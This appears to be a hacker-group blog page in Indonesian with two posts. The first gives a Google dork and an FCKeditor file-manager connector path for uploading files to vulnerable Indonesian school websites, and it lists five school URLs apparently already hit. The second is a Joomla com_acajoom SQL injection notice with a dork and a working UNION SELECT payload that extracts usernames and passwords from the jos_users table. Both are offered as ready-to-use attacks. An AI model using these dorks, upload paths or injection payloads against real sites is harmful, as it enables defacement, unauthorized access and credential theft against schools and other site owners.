0 Upload File Di Sch.id

Banj4rnymouz@gmail.com

Dork :

• inurl:/html/siswa.php?

Exploit :

• /editor/filemanager/connectors/test.html 

Step :

1.Masukkan Dork 

2. Pilih Web 

3. Masukkan Exploit Nya !

4. Jika Vuln Web nya akan Begini:

5. Upload File Berformat ".txt"

6. Done :)

Nb*  Cara Liat File Nya :

"Domain.com/userfiles/file/File Mu .txt"

Ganti File Mu Dengan Nama File Sobat :)

Contoh :

http://www.sman1kotabaru.sch.id/userfiles/file/Joker.txt
http://www.sman1bantul.sch.id/userfiles/file/Joker.txt
http://www.smpn4-malang.sch.id/userfiles/file/Joker.txt
http://sman5smg.com/userfiles/file/Joker.txt
http://smkn5mks.sch.id/userfiles/file/Joker.txt

Sekian :D

Read More »

0 Joomla Component com_acajoom SQL Injection

Banj4rnymouz@gmail.com

###############################################

#

# Joomla Component com_acajoom SQL Injection

#

###############################################

#

# Author: Banj4rnymouz

#

# Mail  : banj4rnymouz@gmail.com

#

###############################################

#

# Dorks 1 : inurl:"com_acajoom" mailingid

#

###############################################

#

# Sploit:

#

# index.php?option=com_acajoom&act=mailing&task=view&listid=1&Itemid=1&mailingid=1/**/union/**/select/**/1,1,1,1,concat(username,0x3a,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/from/**/jos_users/**/LIMIT/**/1,1/*

#

###############################################

#

# Note/Tip:

#

# jos_ prefix may need fixed

#

# it may differ the number id, try LIMIT/**/1,1/* instaed

#

###############################################

#

# Greetings:

#

# Joker Team Child

#

###############################################

 

side note:

 

    <name>Acajoom</name>

    <creationDate>January 2007</creationDate>

    <author>Joobi Ltd</author>

    <authorName>JoobiWeb</authorName>

    <copyright>© 2006-2007 Joobi Ltd. All Rights Reserved.</copyright>

 

    <license>http://www.acajoom.com/license.php</license>

    <authorEmail>support@acajoom.com</authorEmail>

    <authorUrl>www.joobiweb.com</authorUrl>

    <version>1.1.5</version>

    <description>Acajoom is a mailing lists, newsletters, auto-responders, and follow up tool to communication effectively with your users and customers.

    Your Communication partner!</description>

 

Read More »